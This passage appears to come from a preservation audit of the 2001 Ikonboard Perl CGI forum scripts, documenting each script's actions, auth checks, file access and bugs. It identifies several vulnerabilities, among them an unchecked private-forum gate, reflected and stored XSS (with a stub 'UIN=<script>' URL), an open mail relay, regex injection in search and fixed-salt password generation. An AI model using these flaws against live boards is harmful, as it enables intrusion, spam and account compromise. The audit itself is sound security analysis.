**Anything odd.**
- `:52-53` are the only two `die "Hack attempt!"` guards in the public read path, and they are strict (`\A\d{1,3}\Z` for forum, `\d{1,7}` for topic) -- but `:53` guards `$intopic`, which `forums.cgi` never uses. Copy-pasted from `topic.cgi:54`, which does.
- `:308-319`: four `if` statements comparing `$threadposts => $hottopicmark`. `=>` is the fat comma, not `>=`. Perl parses `$threadposts => $hottopicmark` as a two-element list in boolean context -- **always true**. All four branches therefore key only on the date comparison, and the "hot topic" icon logic has never worked as written. This same typo appears in the 2.1.x line for its entire life.
- `:170` opens `list.cgi` read-only but takes an exclusive lock (`flock FILE, 2`), where `ikonboard.cgi:198` uses a shared lock on the same class of file. Locking discipline is inconsistent throughout the tree.
- `:277` carries the developer comment `# Span time, yet again. Who needs sub-routes?` -- the pagination block it introduces is copy-pasted verbatim (with `$maxtopics` -> `$maxthreads`) from `:181-214` twenty lines above.
- `:375` calls `&getmember("$inmembername")` *after* the entire page body has been built, purely to decide whether to show the prune link. This clobbers `$forumname` etc. -- harmless here only because nothing downstream reads them.

---

### `topic.cgi`

**21,956 bytes * 2001-06-06 * 473 LOC**

**Purpose.** Render the posts of one topic.

**User-facing surface.** Post table with per-poster sidebar (avatar, member title, rank graphic, post count, join date), per-post action icons (edit, profile, homepage, email, PM, AIM, ICQ, quote-reply, IP), topic-jump nav, page nav, and a moderator "Topic Options" bar (`:433-450`).

**Actions.** **None.** `topic.cgi` never reads an `action` param. Its only inputs are `forum`, `topic`, `start` (pagination offset), and `jumpto` (`:45-52`). It is the only substantial public script with no dispatch at all.

**Auth required.** None to read. Private forums: `:69-70` sets `$allowed` from `$allowedentry{$inforum}` -- **but nothing in the file ever tests `$allowed`.** `forums.cgi:160` gates the topic list, and `printpage.cgi:80` gates the print view, but `topic.cgi` itself will render any private topic to anyone who knows the URL. Flagging for the security chapter: this is a genuine access-control gap, not a documentation artifact.

**Files read.** `forum<N>/list.cgi` (`:85-91`), `forum<N>/<topic>.thd` (`:145-150`), member files via `getmember`, `data/membertitles.cgi` (`require`d at `:28`).
**Files written.** `forum<N>/list.cgi` (`:110-113` -- rewritten on *every page view* to bump `$threadviews`), `forum<N>/<topic>.pl` (`:115-119` -- the cached single-line copy).

**Notable subs defined locally.** `postings` (`:462-470`). Despite the name, all it does is set `$newthreadbutton` and `$replybutton`. It is a five-line vestige of what was clearly once the whole rendering routine; the actual post loop was inlined into the main body at some point and nobody deleted the shell.

**Anything odd.**
- The view-counter write at `:110-113` is a full read-modify-rewrite of `list.cgi` on every hit, under `flock(FILE, 2)` acquired *after* the truncating `open(FILE, ">$filetoopen")` -- the file is already zeroed before the lock is taken. On a busy board this is the primary corruption vector, and it is exactly what `checkboard.cgi` exists to repair.
- `:109` guards against writing back empty/malformed data (`&error("Missing Data&Data as corrupted on the server...")`) -- a defensive patch bolted on after the corruption problem was discovered, but placed *before* the destructive `open` rather than solving the ordering.
- `:254` -- `if (($post =~ /#Moderation Mode/i) and ($membercode eq 'mo' || $membercode eq 'ad'))`. A magic string in post bodies that triggers moderator-only rendering. Undocumented in the help files.
- `:244` calls `&set_up_guest()` (`ikon.lib:1100`) when the poster's member file no longer exists -- i.e. deleted members' posts fall back to a synthetic Guest identity rather than breaking.
- `:82-83` picks the forum graphic with a different fallback target than `forums.cgi:130-132` does (`$forumsummaryprog` vs `$forumsprog?forum=`). Two authors, same three lines.

---

### `post.cgi`

**45,142 bytes * 2001-06-07 * 1056 LOC**

**Purpose.** Compose and commit new topics and replies.

**User-facing surface.** Four forms/pages: new-thread form, reply form, reply-with-quote form, and (below the reply form) a 20-post thread review. Preview mode re-renders the form with `&preview` output above it.

**Actions.**

| `action` | Handler | Effect | Params |
|---|---|---|---|
| `new` | `&newthread` (`:135`) | Render the new-topic form | `forum` |
| `reply` | `&reply` (`:474`) | Render the reply form + thread review | `forum`, `topic` |
| `replyquote` | `&replyquote` (`:585`) | Reply form pre-filled with `[quote]`-wrapped source post | `forum`, `topic`, `postno` |
| `addnew` + `previewfirst=no` | `&addnewthread` (`:259`) | **Commit** a new topic | `forum`, `intopictitle`, `intopicdescription`, `inpost`, `inshowsignature`, `inshowemoticons`, `notify`, `membername`, `password` |
| `addnew` + `previewfirst=yes` | `&newthread` | Re-render form with preview | same |
| `addreply` + `previewfirst=no` | `&addreply` (`:718`) | **Commit** a reply | `forum`, `topic`, `inpost`, `inshowsignature`, `inshowemoticons`, `notify`, `membername`, `password` |
| `addreply` + `previewfirst=yes` | `&reply` | Re-render form with preview | same |
| *(anything else)* | `&error` | "Please only access this script in the correct manner" (`:122`) | -- |

Dispatch is `%Mode` (`:108-112`) for the three read actions, then a four-arm `elsif` chain (`:118-121`) because the write actions need the `$previewfirst` discriminator.

**Auth required.** Member -- but **only on the commit paths**. `&addnewthread` checks at `:288-290`, `&addreply` at `:734-736`: `$userregistered eq "no"` -> error, `$inpassword ne $password` -> error, `$membercode eq "banned"` -> error. The three form-rendering actions (`new`, `reply`, `replyquote`) do **no** authentication and will render a compose form for a private forum to any visitor. `&addnewthread:280` additionally enforces the per-forum `$startnewthreads` restriction (`unless ($membercode eq "ad" || $inmembmod eq "yes")`).

`&checkVALIDITY` (`ikon.lib:16`) runs at `:44` -- this is *not* auth, it is a referer check that appends the full `%ENV` dump to `data/hacklog.cgi` when a POST arrives with an off-site referer. It never blocks anything.

**Files read.** `data/allforums.cgi`, `forum<N>/list.cgi`, `forum<N>/<topic>.thd`, `data/badwords.cgi`, `data/boardstats.cgi`, `members/<name>.cgi`.
**Files written.** `forum<N>/<newid>.thd`, `forum<N>/<newid>.pl`, `forum<N>/<newid>.mal`, `forum<N>/list.cgi`, `data/allforums.cgi` (last-post fields), `data/boardstats.cgi` (totals), `members/<name>.cgi` (post count -- rewritten in full at `:372` and `:818`).

**Notable subs defined locally.** `newthread` (`:135`), `addnewthread` (`:259`), `reply` (`:474`), `replyquote` (`:585`), `addreply` (`:718`), `threadreview` (`:1010`).

**Anything odd.**
- `:71-72` -- `if ($inshowemoticons ne "yes") { $inshowemoticons eq "no"; }`. `eq`, not `=`. A no-op comparison in void context. The identical pair appears at `postings.cgi:71-72` and again at `messenger.cgi` for `$unread` (`:513`: `if ($unread eq "0") { $unread eq "no"; }`). Three instances of the same `=`/`eq` slip, which strongly suggests a single find-and-replace pass gone wrong rather than three independent typos.
- `:49-57` -- the parameter-slurp loop contains `next unless defined $_;` (the loop variable is a literal from the list, always defined) and `next if $_ eq 'SEND_MAIL';` (`SEND_MAIL` is not in the list). Both lines are dead. This exact seven-line block, dead lines included, is copy-pasted into `postings.cgi:47-55`, `loginout.cgi:47-53`, `register.cgi:51-58`, `search.cgi:46-52`, and `announcements.cgi:48-54`. `search.cgi:44` labels its copy `## Patched by Peter` -- the block is a security patch that was hand-propagated across six files, and the `SEND_MAIL` guard is a leftover from whichever file it was written for first.
- `:1034` -- `$post =~ s/\:\o/...shocked.gif.../g`. Under Perl >= 5.14, `\o` in a regex is a fatal compile error (`Missing braces on \o{}`); the `\o{...}` octal escape was introduced in 5.14 and retroactively made bare `\o` illegal. **This file will not compile on any modern Perl.** Same line at `announcements.cgi:419` and `messenger.cgi:349`/`:692`. On the Perl 5.005/5.6 of 2001 it was a harmless literal `o`, meaning the `:o` emoticon actually matched `:o` -- so the code was correct when written and is now unrunnable. Worth calling out in the preservation notes: any attempt to run this board today needs these four lines patched first.
- `&threadreview` (`:1010`) caps at 20 posts via `unless($reviewcount > 20)` (`:1023`) -- the cap is undocumented and not configurable.

#### `post.cgi` vs `post.cgi.bak`

Both files are dated **2001-06-07**, two minutes apart (`.bak` at 20:25:42, `post.cgi` at 20:27:38). The complete diff is a single added line:

```diff
--- post.cgi.bak
+++ post.cgi
@@ -1049,6 +1049,7 @@
         ~;
 	$reviewcount++;
+	}
         } # end foreach
```

The added `}` closes the `unless($reviewcount > 20) {` block opened at `:1023` inside `&threadreview`. Verified by compiling both with the `\o` regex neutralised: `post.cgi` is `syntax OK`; `post.cgi.bak` fails with `Missing right curly or square bracket at line 1055, at end of line`.

So `.bak` is not an older working version -- **it does not compile at all**, and a board shipped with it would 500 on every request to `post.cgi`. The two-minute gap is a developer adding the thread-review 20-post cap, saving, hitting the syntax error, and fixing it. The `.bak` was never a release. (Covered in depth in chapter 06.)

---

### `postings.cgi`

**56,985 bytes * 2001-06-07 * 1316 LOC -- the largest file in the distribution**

**Purpose.** All post- and topic-level moderation, plus author self-edit.

**User-facing surface.** Six moderation forms, each preceded by an inline username/password challenge form (the "moderation mode" login) and each terminating in a confirmation page via `&mischeader` (`ikon.lib:90`).

**Actions.**

| `action` | Handler | Effect | Params |
|---|---|---|---|
| `edit` | `&editform` (`:1108`) | Render the edit-post form (also used as the preview re-render) | `forum`, `topic`, `postno` |
| `lock` | `&lockthread` (`:744`) | Set topic state to `closed` | `forum`, `topic`, `checked`, `membername`, `password` |
| `unlock` | `&unlockthread` (`:834`) | Clear the closed state | same |
| `delete` | `&deletethread` (`:584`) | Delete topic: unlink `.thd`/`.pl`/`.mal`, rebuild `list.cgi`, decrement counters | same |
| `movetopic` | `&movetopic` (`:263`) | Move topic to another forum, optionally leaving a redirect stub | + `movetoid`, `leavemessage` |
| `edittopic` | `&edit_topic_title` (`:136`) | Edit topic title + description | + `intopictitle`, `intopicdescription` |
| `processedit` + `deletepost=yes` | `&deletepost` (`:921`) | Delete a single reply | `forum`, `topic`, `postno`, `checked` |
| `processedit` + `previewfirst=no` | `&processedit` (`:1210`) | **Commit** the post edit | + `inpost`, `inshowemoticons`, `inshowsignature` |
| `processedit` + `previewfirst=yes` | `&editform` | Re-render with preview | same |
| *(anything else)* | `&error` (`:125`) | -- | -- |

**Auth required.** Moderator or admin, enforced *per sub* rather than centrally. The idiom appears **seven times**, character-identical:

```perl
if (($membercode eq "ad")  && ($inpassword eq $password)) { $cleartoedit = "yes"; }
if (($inmembmod eq "yes")  && ($inpassword eq $password)) { $cleartoedit = "yes"; }
unless ($cleartoedit eq "yes") { $cleartoedit = "no"; }
```

at `:162-163`, `:272-273` (as `$cleartomove`), `:594-595`, `:755-756`, `:844-845`, `:939-940`, `:1238-1240`. `$inmembmod` is set by `&moderator` (`ikon.lib:270`), which parses the forum's comma-separated moderator list. The `processedit` copy (`:1238-1240`) adds a third arm allowing the original author to edit their own post.

**A real inconsistency:** every other sub gates the destructive action on `($cleartoedit eq "yes") && ($checked eq "yes")` -- the `checked=yes` flag proves the credentials came through the challenge form this request. `&deletepost:944` gates on `if ($cleartoedit eq "yes")` **alone**, dropping the `$checked` conjunct. Combined with cookie-supplied credentials (`:95-96`), this makes single-post deletion reachable via GET where topic deletion is not. Hand this one to the security chapter.

**Files read.** `data/allforums.cgi`, `forum<N>/list.cgi`, `forum<N>/<topic>.thd`, `data/badwords.cgi`, `data/boardstats.cgi`.
**Files written.** `forum<N>/<topic>.thd`, `forum<N>/<topic>.pl`, `forum<N>/list.cgi`, `data/allforums.cgi`, `data/boardstats.cgi`, and on move, `forum<M>/<newid>.thd` + `.pl`. Unlinks `.thd`/`.pl`/`.mal` on delete.

**Notable subs defined locally.** `edit_topic_title` (`:136`), `movetopic` (`:263`), `deletethread` (`:584`), `lockthread` (`:744`), `unlockthread` (`:834`), `deletepost` (`:921`), `editform` (`:1108`), `processedit` (`:1210`).

**Anything odd.**
- `:115` -- `'edittopic'		   =>	 \&edit_topic_title` is the only `%Mode` entry in the file indented with hard tabs, and the only one with a `_`-separated sub name. `edit_topic_title` is also the only sub in the file using underscores. It was added later, by someone with different editor settings and different naming habits.
- `&processedit:1271` appends `(Edited by <name> at <date>)` to the post body `unless ($membercode eq "ad")` -- administrators edit silently. Undocumented.
- `:71-72` -- the same dead `eq`-for-`=` pair as `post.cgi:71-72`.
- Bad-word substitution (`:1264-1270`) is applied at edit time with `s/$bad/$good/ig` where `$bad` comes straight out of `data/badwords.cgi` **unquoted** -- an admin-authored regex, applied to user content. `setbadwords.cgi` does nothing to escape it.

---

### `printpage.cgi`

**5,490 bytes * 2001-05-02 * 157 LOC**

**Purpose.** Emit a bare, template-free HTML dump of an entire thread for printing.

**User-facing surface.** One page. Does not use `&output` -- it writes its own `<html>`/`<body>` (`:105-106`) and hard-codes `width=90%` and `(c) 2000 Ikonboard.com` (`:147`).

**Actions.** None. Inputs are `forum` and `topic` only (`:45-46`).

**Auth required.** None, but it *is* one of the few scripts that correctly enforces the private-forum gate: `:80-82` errors out if `$privateforum eq "yes"` and `$allowed ne "yes"`. Note this is stricter than `topic.cgi`, which has the same data available and doesn't check.

**Files read.** `data/allforums.cgi` (`:69-73`), `forum<N>/<topic>.thd` (`:89-92`).
**Files written.** None.

**Notable subs defined locally.** None.

**Anything odd.**
- The oldest file in the public path (2001-05-02) and it shows: `:50-52` guards `$number`, a variable that is never assigned anywhere in the file. Dead check, copied from a script that did have a `number` param.
- `:54-55` -- `if (! $inmembername) { $inmembername = cookie(...); }`. Every other script assigns the cookie unconditionally first. Here `$inmembername` is guaranteed undef at that point (nothing sets it), so the guard is decorative.
- `:70-71` opens `data/allforums.cgi` **read-only under an exclusive lock** (`flock(FILE, 2)`) -- a read path taking a write lock on the board's hottest file, on every print-view request.
- `:97` computes `$postdate = &dateformat($postdate + ...)` before `$postdate` has been assigned anything (it's set inside the loop at `:133`). Harmless dead line at the top of the file.
- `:129-131` un-escapes `&lt;`/`&gt;`/`&quot;` back to raw `<`/`>`/`"` -- the print view renders raw HTML from post bodies **regardless of the forum's `$htmlstate` setting**, which the normal thread view honors. Security chapter material.

---

### `newposts.cgi`

**10,831 bytes * 2001-05-23 * 265 LOC**

**Purpose.** "Show me everything posted since my last visit," across all forums the member can see.

**User-facing surface.** A single results table grouped by category then forum. Rendered through `&printmessenger` (`ikon.lib:742`), the pop-up chrome, not `&output`.

**Actions.**

| `action` | Effect | Params |
|---|---|---|
| `viewposts` | Re-issue the member/password cookies (+30d) from the form, then scan every forum's `list.cgi` for topics with `$lastpostdate > $forumlastvisit` | `membername`, `password` |
| *(none)* | Render the inline login form via `&login` (`:219`) | -- |

**Auth required.** Member. `:107-108` -- `$userregistered eq "no"` or `$inpassword ne $password` -> `&messengererror`.

**Files read.** `data/allforums.cgi` (`:113-118`), `forum<N>/list.cgi` per forum (`:147-152`).
**Files written.** None (cookies only).

**Notable subs defined locally.** `login` (`:234-262`) -- builds a login form that re-posts the original URL's query params as hidden fields. **This sub is duplicated verbatim in `messenger.cgi:810-840` and `announcements.cgi:497-526`.** Three copies, byte-identical except for indentation (tabs vs spaces) and the `size=` attributes. It is not in `ikon.lib`, where it obviously belongs.

**Anything odd.**
- `:109` -- `elsif ($inmembername eq "") { &login(...); }` is unreachable: `:56-58` already replaced empty with `"Guest"`. The same dead arm appears in every one of `messenger.cgi`'s eight validation blocks.
- `:107` labels its error `"Messenger&No user registered"` -- the string is `messenger.cgi`'s, not this script's. The whole validate-and-error block was lifted from there.
- `:131` correctly skips private forums the member lacks access to, and `:129-130` skips never-visited and already-current forums. Of the scripts that iterate all forums, this is the only one that does the access filtering right.

---

### `search.cgi`

**25,866 bytes * 2001-05-23 * 615 LOC**

**Purpose.** Keyword and username search over topic titles and post bodies.

**User-facing surface.** Three pages: the search form, a self-refreshing "Searching..." progress page, and the paginated results page.

**Actions.**

| `action` | Effect | Params |
|---|---|---|
| `startsearch` | Write the search parameters into `search/<user>_sch.txt` (5 header lines), render a progress page with `<meta refresh>` to `?action=continue` (`:112-150`) | `TYPE_OF_SEARCH`, `SEARCH_STRING`, `NAME_SEARCH`, `POST_SEARCH`, `FORUMS_TO_SEARCH`, `CUR_TIME` |
| `continue` | Search **one forum**, append hits to the state file, then `<meta refresh>` to `?action=continue&nextforum=N+1` -- or to `?action=display` when done (`:156-335`) | `nextforum` |
| `display` | `&displayresults` (`:450`) -- read the state file, paginate, render | `start` |
| *(none)* | Render the search form (`:337-443`) | -- |

**Auth required.** None. Private forums are excluded from the searchable set (`:203`) and from the form's forum dropdown (`:359-364`) based on `$allowedentry{}`.

**Files read.** `data/allforums.cgi`, `forum<N>/list.cgi`, `forum<N>/<topic>.thd`.
**Files written.** `search/<username|GuestIP>_sch.txt` -- created if absent, appended per forum.

**Notable subs defined locally.** `displayresults` (`:450`).

**Anything odd.**
- **The search engine is a chain of `<meta refresh>` redirects.** One forum per HTTP round-trip, 2 seconds apart (`:332`). A 20-forum board takes 40+ seconds of visible page-flipping. This is the architecture, not a bug -- it was how you avoided CGI timeouts on 2001 shared hosting.
- `:67-75` -- an unconditional garbage-collection sweep of the entire `search/` directory on **every** invocation, unlinking anything with mtime older than 30 minutes. Runs before any auth or dispatch.
- `:58-61` -- anonymous searchers get a state file named `Guest<IP-with-dots-stripped>_sch.txt`. Two guests behind the same NAT share one search session and will clobber each other.
- `:107-110` -- `mkdir("$dirtoopen", 0777)` then `chmod(0777, ...)`. World-writable search directory, created automatically.
- `:224` / `:262` -- `$post =~ m|$_|gi` with `$_` being the raw user-supplied keyword, **uninterpolated and unquoted**. A search for `(` is a fatal regex compile error; a search for `.*` matches everything; a search for a pathological pattern is a denial of service. There is no `quotemeta` anywhere in the file.
- `:46` -- the `## Patched by Peter` comment above the parameter-slurp loop. Peter is credited in `admincenter.cgi:180`'s dev-team list; this is the only in-source attribution of a specific patch to a specific non-Mecham developer.
- `:454` -- `open (READ, "$searchfilename") or &error("...the search results are only active for thirty minutes...")`. The user-facing explanation for what is actually the GC sweep at `:67-75` firing mid-search.

---

### 4.2 Membership

Six scripts covering account lifecycle and identity display. The boundary is fuzzy: `register.cgi` creates the member file, `profile.cgi` reads and rewrites it, `loginout.cgi` only touches cookies, and `misc.cgi`/`whosonline.cgi`/`ikonfriend.cgi` are utility satellites that happen to live here because they render member-adjacent things. All three satellites have no authentication at all.

The member record is a single line of 22 pipe-separated fields in `members/<name_with_underscores>.cgi`, written in full by any script that changes any field. The canonical field order is visible in five places -- `ikon.lib:382`, `register.cgi:233`, `post.cgi:372`, `post.cgi:818`, `profile.cgi:548`, `setmembers.cgi:405` -- and all six agree, which is the codebase's single most disciplined piece of consistency.

---

### `register.cgi`

**20,905 bytes * 2001-05-28 * 532 LOC**

**Purpose.** Terms-of-service gate, registration form, account creation.

**User-facing surface.** Three pages: the ToS agreement (contents of `data/register.dat`), the registration form, and a success/error page.

**Actions.**

| `action` | Effect | Params |
|---|---|---|
| `agreed` | Render the registration form; builds the avatar `<select>` from `$imagesdir/avatars/*.gif`, skipping any `admin_*` (`:387-405`) | none |
| `addmember` | Validate and **create** `members/<name>.cgi`, bump `data/boardstats.cgi`, optionally email a generated password | `inmembername`, `password`, `emailaddress`, `showemail`, `homepage`, `aolname`, `icqnumber`, `location`, `interests`, `signature`, `timedifference`, `useravatar` |
| *(none)* | Render the ToS agreement page (`:490-521`) | -- |

**Auth required.** None (by definition). Anti-abuse instead:
- **Ban list** (`:104-125`): `data/banlist.cgi` is checked with `$emailaddress =~ /^$bannedemail/`, exact name match, and `$ipaddress =~ /^$bannedip/`. Note both regex checks are **prefix-anchored and unescaped** -- a banned email of `a` bans every address starting with `a`, and a banned IP of `1.2` bans `1.2.*` but also matches `192....` in surprising ways since `.` is unescaped.
- **Name validation** (`:198-201`): rejects names matching `\b[_]`, `\W+`, `_{2,}`, or `[_]\b`.
- **Duplicate check** (`:210-218`): both `getmember()` and a case-insensitive `readdir` grep of `members/`.
- **`&checkVALIDITY`** at `:45` -- logging only.

**Files read.** `data/banlist.cgi`, `data/register.dat`, `data/badwords.cgi`, `data/boardstats.cgi`, `$imagesdir/avatars/`.
**Files written.** `members/<name>.cgi`, `data/boardstats.cgi`.

**Notable subs defined locally.** None. All logic is inline in the two action branches.

**Anything odd.**
- `:126-133` -- password generation when `$passwordverification eq "yes"`: `crypt($seed, aun)` where `aun` is a **bareword**, not a string. Under no-strict Perl it stringifies to `"aun"`, so the salt is the constant `"au"` for every account ever generated. The result is then stripped of `.` and `|` and truncated to 7 chars. This is the mail-me-a-password path; it produces low-entropy, fixed-salt passwords.
- `:216` -- the duplicate-name `readdir` grep uses `/^$tempinusername\.cgi/i` with `$tempinusername` uninterpolated as a regex. A registration attempt for `a.b` or `x|y` behaves unpredictably.
- The form's avatar `<option>` list skips `admin_*` unconditionally (`:401`), whereas `profile.cgi:314` skips them only `if ($membercode eq "me")` -- so moderators can select admin avatars on edit but nobody can at signup. Two different rules for the same list.
- `:529` -- `print header(-cookie=>[$namecookie, $passcookie]);` at the very bottom, but neither cookie variable is ever assigned in this file. Registration does **not** log you in; the cookie array is always two undefs.

---

### `profile.cgi`

**29,407 bytes * 2001-05-23 * 626 LOC**

**Purpose.** Public profile display, own-profile editing, and the lost-password flow.

**User-facing surface.** Five pages: the log-in-to-edit form (default), the public profile card, the edit form, the lost-password form, and the "password emailed" / "blocked" notices.

**Actions.** Dispatched via `%Mode` (`:96-103`):

| `action` | Handler | Effect | Params |
|---|---|---|---|
| `show` | `&showprofile` (`:211`) | Public profile card for `member` | `member` |
| `modify` | `&modify` (`:280`) | Render the edit form (validates password first) | `membername`, `password` |
| `process` | `&savemodify` (`:408`) | **Commit** the profile edit | `membername`, `oldpassword`, `newpassword`, `newemailaddress`, `newshowemail`, `newhomepage`, `newaolname`, `newicqnumber`, `newlocation`, `newinterests`, `newsignature`, `newtimedifference`, `useravatar` |
| `lostpassword` | `&lostpasswordform` (`:146`) | Render the "email me my password" form | -- |
| `lostpass` | `&lostpasswordform` | Alias for the above | -- |
| `sendpassword` | `&sendpassword` (`:166`) | Email the plaintext password to the account's address | `membername` |
| *(none)* | inline (`:110-128`) | Log-in-to-edit form | -- |

Two keys mapping to the same handler (`lostpassword` / `lostpass`) is a compatibility shim: `data/progs.cgi:10` defines `$lostpasswordprog = "profile.cgi?action=lostpassword"` while every hand-written link in the templates uses `?action=lostpass` (`forums.cgi:449`, `loginout.cgi:187`, `viewip.cgi:219`).

**Auth required.** Member, for the write paths only. `&modify:288` and `&savemodify:412-413` both check `$userregistered` and compare the submitted password. `&showprofile` is public by design.

**Files read.** `members/<name>.cgi`, `data/badwords.cgi`, `$imagesdir/avatars/`.
**Files written.** `members/<name>.cgi` (full 22-field rewrite at `:548`).

**Notable subs defined locally.** `lostpasswordform` (`:146`), `sendpassword` (`:166`), `showprofile` (`:211`), `modify` (`:280`), `savemodify` (`:408`), `blocked` (`:573`).

**Anything odd.**
- `:47` -- `$cookiepath =~ y/$thisprog//;`. The transliteration operator, not substitution. `y/...//` with an empty replacement and no `d` modifier is a **no-op that returns a count**; and `y///` does not interpolate `$thisprog` anyway, so the character class is the literal set `{$,t,h,i,s,p,r,o,g}`. Every other script in the tree writes `s/$thisprog//sg` here (`forums.cgi:45`, `post.cgi:47`, `messenger.cgi:44`, ...). `$cookiepath` is therefore left as the full script URL, so profile-set cookies get a different path than login-set cookies -- a real, user-visible bug in whichever browsers honor path scoping strictly.
- `&blocked` (`:573-626`) is a genuinely interesting artifact: requesting a password reset for an account with `$membercode eq "ad"` does not just refuse, it renders a page telling the user *"This has been treated as a hack attempt and your IP address has been documented and emailed to the administrator"* and then actually sends that email (`:614-619`). Security theatre with a real mail side-effect, and the only place in the codebase that emails an incident report.
- `&sendpassword:174` mails the **plaintext password** in the message body.
- `:237` -- `&set_up_guest() unless (-e $ikondir.'members/'.$inmember.'.cgi')`. Single-quoted concatenation, in a file that uses `"$ikondir" . "..."` everywhere else. This line and `topic.cgi:244` are the only two instances of the style, and both call the same newest sub in `ikon.lib` (`:1100`).
- `&savemodify` re-reads its 12 `new*` params with `$query->param` inside the sub (`:416-426`) rather than at the top of the file like every other script.

---

### `loginout.cgi`

**7,355 bytes * 2001-05-23 * 199 LOC**

**Purpose.** Set and clear the member cookies.

**User-facing surface.** Three states in one page shell: login form, "thank you for logging in," "you are now logged out."

**Actions.**

| `action` | Effect | Params |
|---|---|---|
| `login` | `getmember`, compare password, on success set `amembernamecookie` + `apasswordcookie` (+30d) (`:91-141`) | `inmembername`, `inpassword` |
| `logout` | Expire `amembernamecookie`, `apasswordcookie`, and `templastvisit` (`:143-172`) | -- |
| *(none)* | Render the login form (`:174-192`) | -- |

**Auth required.** None (it *is* the auth).

**Files read.** `members/<name>.cgi` via `getmember`.
**Files written.** None.

**Notable subs defined locally.** None.

**Anything odd.**
- Param names are `inmembername` / `inpassword` here, but `membername` / `password` in every other login form in the tree (`forums.cgi:446`, `viewip.cgi:216`, `newposts.cgi:254`, `messenger.cgi:826`, `announcements.cgi:518`, `forumoptions.cgi:231`). `loginout.cgi` is the odd one out and its form cannot be reused as a drop-in for the others.
- It is the only script that uses `&unHTML` (`ikon.lib:620`) on the login credentials (`:51`) rather than `&cleaninput` (`ikon.lib:602`). The two do different things.
- `:153` -- "You may need to close your browser to log-out fully." Honest, given that `logout` expires the cookies but the `forumsallowed<N>` private-forum cookies set by `forums.cgi:86` are **not** cleared and are session-scoped.
- No `&checkVALIDITY` -- the login endpoint is the one place a referer check would have been cheap, and it is absent.

---

### `misc.cgi`

**18,082 bytes * 2001-05-23 * 404 LOC**

**Purpose.** Four standalone pop-up windows opened by `javascript:openScript(...)` links elsewhere in the board.

**User-facing surface.** Four self-contained HTML documents. Does not use `&output` or `&printmessenger` -- it builds `<html>...</html>` itself and `print`s at `:397-400`.

**Actions.**

| `action` | Effect | Params |
|---|---|---|
| `showsmilies` | Emoticon legend, images from `$imagesurl/emoticons` (`:58-155`) | -- |
| `icq` | ICQ web-pager form, POSTing to `http://wwp.mirabilis.com/scripts/WWPMsg.dll` (`:160-213`) | `UIN` |
| `ikoncode` | IkonCode (BBCode) tag reference (`:217-355`) | -- |
| `aim` | Two `aim:goim` / `aim:addbuddy` protocol links (`:357-394`) | `aimname` |
| *(none)* | Prints an empty page (`$output` never set) | -- |

**Auth required.** **None**, and the file does not even set `$inmembername` to `"Guest"` correctly -- `:51-54` reads the cookies but nothing downstream uses them.

**Files read.** None beyond the required config.
**Files written.** None.

**Notable subs defined locally.** None.

**Anything odd.**
- `$UIN` (`:46`) and `$aimname` (`:48`) are interpolated straight into HTML with **no sanitisation whatsoever** -- no `cleaninput`, no `unHTML`, no numeric check. `misc.cgi?action=icq&UIN=<script>...` is a textbook reflected XSS, and the link is generated from the ICQ field of any member's profile (`topic.cgi:340`). Prime security-chapter material.
- `:49` -- `$aimname =~ s/ //g;` is the only input processing in the entire file.
- `:68` -- `bgcolor=#$tablebordercolor` with a literal `#` prefix, where every other reference in the tree is `bgcolor=$tablebordercolor` (the `#` is already in the stored value). The smilies popup renders with a broken border color on every default install.
- The ICQ pager posts to Mirabilis's `WWPMsg.dll`, dead since roughly 2003; the AIM links use the `aim:` protocol handler, dead since 2017. Both are period-accurate and both are now inert.

---

### `whosonline.cgi`

**4,632 bytes * 2001-05-23 * 120 LOC**

**Purpose.** Render `data/onlinedata.dat` as a table of who is where.

**User-facing surface.** One page: name / time of last action / last action, one row per line of the datafile.

**Actions.** **None.** The file never reads a `$query` object at all -- there is no `$query = new CGI;` line.

**Auth required.** **None.**

**Files read.** `data/onlinedata.dat` (`:81-84`).
**Files written.** None. (The file is *written* by `&whosonline` in `ikon.lib:462`, called from the page scripts.)

**Notable subs defined locally.** None.

**Anything odd.**
- The shortest non-trivial script in the distribution and the only one with no CGI parameter handling.
- `:96` -- `$savedwhere` is printed raw into the table (`:109`). That field is built by callers as a fragment of HTML containing the topic title (`topic.cgi:141`, `forums.cgi:162`, `printpage.cgi:84`) -- so an unsanitised topic title propagates from the board into every visitor's Active Users page. **Stored XSS with a wide blast radius.** Flagging explicitly.
- `:101-103` -- `substr($savedusername, 0, 5) eq "Guest"` collapses all guest entries to the string `Guest`, and skips guests whose action is `"Logging in"`. The board deliberately hides in-progress logins from the active list.
- No `print header()` until `:115`, after all output is buffered into `$output` -- correct, and notably *not* what `ikonboard.cgi` does.

---

### `ikonfriend.cgi`

**10,679 bytes * 2001-05-23 * 254 LOC**

**Purpose.** "Email this topic to a friend."

**User-facing surface.** Two pages: the compose form and a "the email has been sent" confirmation.

**Actions.**

| `action` | Effect | Params |
|---|---|---|
| `send` | Validate all six fields non-empty and both addresses against a regex, then `&sendmail` (`:100-163`) | `forum`, `topic`, `realname`, `toname`, `fromemail`, `toemail`, `subject`, `emailmessage`, `emailtopictitle` |
| *(none)* | Render the compose form, pre-filled with the topic title (`:168-246`) | `forum`, `topic` |

**Auth required.** **None.** The script reads `amembernamecookie` at `:62` and then never uses it. The only gate is `$emailfunctions ne "on"` (`:96`), a board-wide on/off switch.

**Files read.** `data/allforums.cgi`, `forum<N>/list.cgi`.
**Files written.** None (sends mail via `ikonmail.lib`).

**Notable subs defined locally.** None.

**Anything odd.**
- **This is an open mail relay.** `&sendmail($from, $from, $to, ...)` at `:141` where `$from` is `"$boardname <$infromemail>"` -- the *From* header is entirely attacker-controlled, `$to` is attacker-controlled, the subject is attacker-controlled, and `$inemailmessage` is a free-text body of up to the 150 KB POST limit. No rate limit, no captcha, no login. In 2001 this was a common enough pattern that it barely registered; by 2003 scripts like this were the reason shared hosts started blocking outbound port 25.
- `:115-116` validate the email addresses with `/^.+\@(\[?)[a-zA-Z0-9\-\.]+\.([a-zA-Z]{2,3}|[0-9]{1,3})(\]?)$/` -- the leading `.+` permits newlines under Perl's default (no `/s`, but `.` still doesn't match `\n`, so header injection is actually blocked here by accident rather than design).
- `:130` and `:136` reference `$homename`, a `boardinfo.cgi` variable; every other user-facing string in the file uses `$boardname`. The two are separately configurable and typically differ.
- `:175` and `:189` -- `flock FILE,2` (exclusive) then `flock FILE,1` (shared) on two consecutive read-only opens, twelve lines apart. Nobody was reasoning about locking; it was copy-paste.

---

### 4.3 Private messaging

One script, no supporting library. Messages live in `messages/<name>_msg.cgi` (inbox) and `messages/<name>_out.cgi` (outbox), one message per line: `from|readstate|timestamp|title|body`.

---

